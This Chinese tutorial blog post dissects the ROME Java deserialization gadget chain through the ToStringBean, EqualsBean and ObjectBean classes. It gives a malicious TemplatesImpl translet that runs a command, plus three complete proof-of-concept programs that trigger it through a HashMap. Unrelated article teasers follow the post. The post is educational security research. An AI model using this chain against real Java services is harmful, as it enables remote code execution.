【Web】浅聊Java反序列化之Rome——EqualsBeanObjectBean

目录

简介

原理分析

ToStringBean

EqualsBean

ObjectBean

EXP

①EqualsBean直球纯享版

②EqualsBean配合ObjectBean优化版

③纯ObjectBean实现版


关于《浅聊Java反序列化》系列,纯是记录自己的学习历程,宥于本人水平有限,内容很水,经常会出现可以多篇合一篇的情况,但所幸同一个话题还是比较集中,真要翻起来不算太麻烦,仅供师傅们看个乐。

简介

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作,这也是问我们用Rome打反序列化的核心利用点

原理分析

一个一个类来看,慢慢梳理出调用链

ToStringBean

先来看其构造方法,接受两个参数 beanClassobj,并分别赋值给类的成员变量_beanClass和_obj

public ToStringBean(Class beanClass, Object obj) {
        this._beanClass = beanClass;
        this._obj = obj;
    }

再来看其“深入的toString方法”,有两种实现形式

很显然,toString() 方法内部首先获取相关信息,然后调用 toString(prefix) 方法

 public String toString() {
        Stack stack = (Stack)PREFIX_TL.get();
        String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
        String prefix;
        if (tsInfo == null) {
            String className = this._obj.getClass().getName();
            prefix = className.substring(className.lastIndexOf(".") + 1);
        } else {
            prefix = tsInfo[0];
            tsInfo[1] = prefix;
        }

        return this.toString(prefix);
    }

 我们重点关注toString(prefix)

    private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }

        return sb.toString();
    }

核心逻辑是先是得到pds,再获取pds返回值中的方法名和方法,最后反射调用_obj类的该方法

这一段个人认为和jdk7u21原生反序列化有相像之处,感兴趣的师傅可以回顾一下品一品:

【Web】Java原生反序列化之jdk7u21——又见动态代理

这里要注意一点:

pds[i].getReadMethod()会限制调用的方式只能是getter&is,哪怕取到了setter也不能用

从设计理念的角度:toStringBean的作用就是生成一个传入的写定对象的字符串表示形式,我们只用对对象进行读操作(getter),而不需要对对象进行写操作(setter)

这也就注定了,ROME链是触发getter方法来进行利用的

OK话说回来,pds自何来?

让我们跟进BeanIntrospector.getPropertyDescriptors(this._beanClass)

其传入了this._beanClass作为klass

 public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
        PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));
        if (descriptors == null) {
            descriptors = getPDs(klass);
            _introspected.put(klass, descriptors);
        }

        return descriptors;
    }

这段代码实现了一个缓存机制,用于获取给定类的属性描述符数组。首先尝试从缓存中获取,如果缓存中没有,则调用特定的方法获取属性描述符数组,并将其存储到缓存中

跟进getPDs(klass)

private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
        Method[] methods = klass.getMethods();
        Map getters = getPDs(methods, false);
        Map setters = getPDs(methods, true);
        List pds = merge(getters, setters);
        PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
        pds.toArray(array);
        return array;
    }

    private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {
        Map pds = new HashMap();

        for(int i = 0; i < methods.length; ++i) {
            String pName = null;
            PropertyDescriptor pDescriptor = null;
            if ((methods[i].getModifiers() & 1) != 0) {
                if (setters) {
                    if (methods[i].getName().startsWith("set") && methods[i].getReturnType() == Void.TYPE && methods[i].getParameterTypes().length == 1) {
                        pName = Introspector.decapitalize(methods[i].getName().substring(3));
                        pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]);
                    }
                } else if (methods[i].getName().startsWith("get") && methods[i].getReturnType() != Void.TYPE && methods[i].getParameterTypes().length == 0) {
                    pName = Introspector.decapitalize(methods[i].getName().substring(3));
                    pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
                } else if (methods[i].getName().startsWith("is") && methods[i].getReturnType() == Boolean.TYPE && methods[i].getParameterTypes().length == 0) {
                    pName = Introspector.decapitalize(methods[i].getName().substring(2));
                    pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
                }
            }

            if (pName != null) {
                pds.put(pName, pDescriptor);
            }
        }

        return pds;
    }

这段代码实现了根据类的方法获取其属性描述符数组的逻辑。通过遍历类的方法,在获取读取getter和setter方法并写入方法后,将它们合并为包含属性描述符的数组并返回。

那如果我们klass传入的是Templates.class,array中会存什么呢?打个断点看一眼:

可以看到拿到了我们的老熟人——getOutputProperties,即TemplatesImpl调用链的一环(不解释了)

既然这样,只要让ToStringBean的_obj属性为一个恶意TemplatesImpl对象,即可通过ToStringBean#toString的调用触发攻击

而toString自何来?

EqualsBean

先看其构造方法,顾名思义,果然equal

public EqualsBean(Class beanClass, Object obj) {
        if (!beanClass.isInstance(obj)) {
            throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
        } else {
            this._beanClass = beanClass;
            this._obj = obj;
        }
    }

初始化一个EqualsBean对象,确保传入的对象是指定类的实例,如果不是则抛出异常,否则将传入的类和对象分别赋值给类的成员变量_beanClass和_obj

重点关注其hashCode方法,调用了_obj的toString方法,这不就齐活了,我们只要传入obj为恶意ToStringBean对象就能连上上面讲的逻辑

 public int hashCode() {
        return this.beanHashCode();
    }

    public int beanHashCode() {
        return this._obj.toString().hashCode();
    }

而怎么调用EqualsBean#hashCode呢?

就是最典的URLDNS,以hashMap为反序列化入口就可

hashMap#readObject => hash(key) => key.hashCode() => EqualsBean#hashCode

但注意hashMap#put也会触发key.hashCode,如果不想弹两次计算器,我们要进行一些处理,先往map里put进一个fake恶意类,put完后再用反射去修改。具体操作请看EXP部分,不作赘述。

ObjectBean

先看其构造方法

public ObjectBean(Class beanClass, Object obj) {
        this(beanClass, obj, (Set)null);
    }

    public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
        this._equalsBean = new EqualsBean(beanClass, obj);
        this._toStringBean = new ToStringBean(beanClass, obj);
        this._cloneableBean = new CloneableBean(obj, ignoreProperties);
    }

第一个构造函数 ObjectBean(Class beanClass, Object obj) 在内部调用了第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties),并传递了一个空的 ignoreProperties 参数。
第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties) 创建了三个子对象:_equalsBean、_toStringBean 和 _cloneableBean,分别是 EqualsBean、ToStringBean 和 CloneableBean 的实例。

接着看,ObjectBean的hashCode方法和toString方法也是直接分别调用EqualsBean和ToStringBean的对应方法。

从顾名思义的角度,ObjectBean可以通过传入的class和obj来生成三个子对象,并存进各自的字段里,应该是允许自由构造的。

但疑惑的是,因为ObjectBean其初始化方法也调用了EqualsBean的初始化方法,那不直接指定了传入的obj必须是class的实例了吗?相当于又加了一层桎梏。

不过不重要,对于这条链的构造已经够够的了。

我们完全可以用ObjectBean来代替实现ToStringBean和EqualsBean的效果,具体操作请看EXP③

public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

    public String toString() {
        return this._toStringBean.toString();
    }

EXP

先导pom依赖

 <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>

Evil.java

package com.rome;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    //构造RCE代码
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

①EqualsBean直球纯享版

package com.rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome {

    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "xxx");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        ToStringBean bean = new ToStringBean(Templates.class, obj);
        ToStringBean fakebean= new ToStringBean(String.class, obj);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);
        HashMap map = new HashMap();
        map.put(equalsBean, 1);  // 注意put的时候也会执行hash
        setFieldValue(equalsBean, "_obj", bean);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
}

②EqualsBean配合ObjectBean优化版

package com.rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome {

    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "xxx");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        ToStringBean bean = new ToStringBean(Templates.class, obj);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, bean);
        ObjectBean fakeBean = new ObjectBean(String.class, "xxx");  // 传入无害的String.class
        HashMap map = new HashMap();
        map.put(fakeBean, 1);  // 注意put的时候也会执行hash
        setFieldValue(fakeBean, "_equalsBean", equalsBean);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
}

③纯ObjectBean实现版

package com.rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Rome {

    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "xxx");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        ObjectBean tostringBean = new ObjectBean(Templates.class, obj);
        ObjectBean fakebean= new ObjectBean(String.class, "xxx");
        ObjectBean equalsBean = new ObjectBean(ObjectBean.class, fakebean);
        HashMap map = new HashMap();
        map.put(equalsBean, 1);  // 注意put的时候也会执行hash
        setFieldValue(fakebean, "_toStringBean", getFieldValue(tostringBean,"_toStringBean"));

        // 序列化到文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
        oos.writeObject(map);
        oos.close();

        // 从文件中反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object o = ois.readObject();
        ois.close();
    }

    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/447631.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

WiFi贴码推广能赚钱吗?掌握WiFi贴码推广技巧

“WiFi贴码推广能赚钱吗”是当前很多创业者关注的一个话题&#xff0c;WiFi贴码推广这一新兴的商业模式&#xff0c;是指商家在其门店或者特定场所提供免费WiFi&#xff0c;不需要输入密码wifi二维码即可连接&#xff0c;连接后合作商就会获得一定的收益。这种模式既方便了用户…

基于springboot的图书管理系统(代码+数据库+文档)

** &#x1f345;点赞收藏关注 → 私信领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345;** 一、研究背景…

Python图像处理【22】基于卷积神经网络的图像去雾

基于卷积神经网络的图像去雾 0. 前言1. 渐进特征融合网络2. 图像去雾2.1 网络构建2.2 模型测试 小结系列链接 0. 前言 单图像去雾 (dehazing) 是一个具有挑战性的图像恢复问题。为了解决这个问题&#xff0c;大多数算法都采用经典的大气散射模型&#xff0c;该模型是一种基于单…

Git的基本操作(安装Git,创建本地仓库,配置Git,添加、修改、回退、撤销修改、删除文件)

文章目录 一、Git安装二、创建本地仓库三、配置Git四、认识工作区、暂存区、本地库五、添加文件六、修改文件七、版本回退八、撤销修改1.对于⼯作区的代码&#xff0c;还没有add2.已经add&#xff0c;但没有commit3.已经add&#xff0c;并且已经commit 九、删除⽂件 一、Git安装…

使用 ReclaiMe Pro 恢复任意文件系统(Win/Linux/MacOS)

天津鸿萌科贸发展有限公司是 ReclaiMe Pro 数据恢复软件授权代理商。 ReclaiMe Pro 是一个通用工具包&#xff0c;几乎可以用于从所有文件系统&#xff08;从 Windows 系列文件系统、Linux 和 MacOS&#xff09;中恢复数据。此外&#xff0c;考虑到数据恢复工作的具体情况&…

【组合递归回溯】【StringBuilder】Leetcode 17. 电话号码的字母组合

【组合递归回溯】【StringBuilde】Leetcode 17. 电话号码的字母组合 StringBulider常用方法&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;17…

【webpack】和【vite】中获取本地文件夹目录下的所有图片

1. webpack&#xff08;require.context&#xff09; const systemUrls ref<{ url: string; name: string }[]>([]);// 获取该目录下的所有svg文件const files require.context(public/icon, false, /\.svg$/);systemUrls.value files.keys().map((key) > {const f…

ROS 2基础概念#4:消息(Message)| ROS 2学习笔记

ROS 2消息简介 ROS程序使用三种不同的接口来进行沟通&#xff1a;消息&#xff08;message&#xff09;&#xff0c;服务&#xff08;service&#xff09;和动作&#xff08;action&#xff09;。ROS 2使用一种简化的描述语言&#xff1a;IDL&#xff08;interface definition…

【深入理解LRU Cache】:缓存算法的经典之作

目录 一、什么是LRU Cache&#xff1f; 二、LRU Cache的实现 1.JDK中类似LRUCahe的数据结构LinkedHashMap 2.自己实现双向链表 三、LRU Cache的OJ 一、什么是LRU Cache&#xff1f; LRU Cache&#xff08;Least Recently Used的缩写&#xff0c;即最近最少使用&#xff0…

游戏行业需要堡垒机吗?用哪款堡垒机好?

相信大家对于游戏都不陌生&#xff0c;上到老&#xff0c;下到小&#xff0c;越来越多的小伙伴开始玩游戏。随着游戏用户的增加&#xff0c;如何保障用户资料安全&#xff0c;如何确保游戏公司数据安全等是一个不容忽视的问题。因此不少人在问&#xff0c;游戏行业需要堡垒机吗…

数据结构----完全二叉树的时间复杂度讲解,堆排序

目录 一.建堆的时间复杂度 1.向上调整算法建堆 2.向下调整算法建堆 二.堆排序 1.概念 2.代码思路 3.代码实现 一.建堆的时间复杂度 1.向上调整算法建堆 我们就以极端情况考虑时间复杂度(满二叉树遍历所有层) 假设所有节点个数为N,树的高度为h N 2^02^12^2......2^(h-…

表的连接【MySQL】

文章目录 什么是连接测试表内连接外连接左外连接右外连接全外连接 自然连接交叉连接参考资料 什么是连接 数据库的连接是指在数据库系统中&#xff0c;两个或多个数据表之间建立的关联关系&#xff0c;使它们可以进行数据的交互和操作。连接通常基于某种共同的字段或条件&…

2.1_2 数据通信基础知识

文章目录 2.1_2 数据通信基础知识&#xff08;一&#xff09;典型的数据通信模型&#xff08;二&#xff09;数据通信相关术语&#xff08;三&#xff09;设计数据通信系统要考虑的3个问题&#xff08;1&#xff09;三种通信方式&#xff08;2&#xff09;串行传输 & 并行传…

开源的python 游戏开发库介绍

本文将为您详细讲解开源的 Python 游戏开发库&#xff0c;以及它们的特点、区别和应用场景。Python 社区提供了多种游戏开发库&#xff0c;这些库可以帮助您在 Python 应用程序中实现游戏逻辑、图形渲染、声音处理等功能。 1. Pygame 特点 - 基于 Python 的游戏开发库。…

C语言分析基础排序算法——交换排序

目录 交换排序 冒泡排序 快速排序 Hoare版本快速排序 挖坑法快速排序 前后指针法快速排序 快速排序优化 快速排序非递归版 交换排序 冒泡排序 见C语言基础知识指针部分博客C语言指针-CSDN博客 快速排序 Hoare版本快速排序 Hoare版本快速排序的过程类似于二叉树前序…

程序员常用小工具推荐

前言 工作或者学习时&#xff0c;常常有一些工具能帮到我们很多&#xff0c;本次简单列举和说明&#xff0c;如果有更多更好用的&#xff0c;欢迎讨论补充。 工具大全 网络分析工具 Wireshark,可以很清晰的解析和过滤网络包&#xff0c;也有助于分析网络的的传输原理。linux环…

基于FPGA的HyperRam接口设计与实现

一 HyperRAM 针对一些低功耗、低带宽应用&#xff08;物联网、消费产品、汽车和工业应用等&#xff09;&#xff0c;涉及到外部存储&#xff0c;HyperRAM提供了更简洁的内存解决方案。 HyperRAM具有以下特性&#xff1a; 1、超低功耗&#xff1a;200MHz工作频率下读写不到50mW…

新书速览|Vue.js 3.x+Element Plus从入门到精通(视频教学版)

详解Vue.jsElement Plus框架各组件的用法&#xff0c;实战网上商城系统和图书借阅系统开发 本书内容 《Vue.js 3.xElement Plus从入门到精通&#xff1a;视频教学版》通过对Vue.js&#xff08;简称Vue&#xff09;的示例和综合案例的介绍与演练&#xff0c;使读者快速掌握Vue.j…

计算机网络—eNSP搭建基础 IP网络

目录 1.下载eNSP 2.启动eNSP 3.建立拓扑 4.建立一条物理连接 5.进入终端系统配置界面 6.配置终端系统 7.启动终端系统设备 8.捕获接口报文 9.生成接口流量 10.观察捕获的报文 1.下载eNSP 网上有许多下载eNSP的方式&#xff0c;记得还要下其它三个Virtual Box、Winpa…

HSCCTF 3th 2024 Web方向 题解wp

WEB-CHECKIN【*没出】 直接给了源码 <?php highlight_file(__FILE__); error_reporting(0); $a$_POST[1]; $b"php://filter/$a/resource/dev/null"; if(file_get_contents($b)"2024"){echo file_get_contents(/flag); }else{echo $b; }咋这么像 WEB…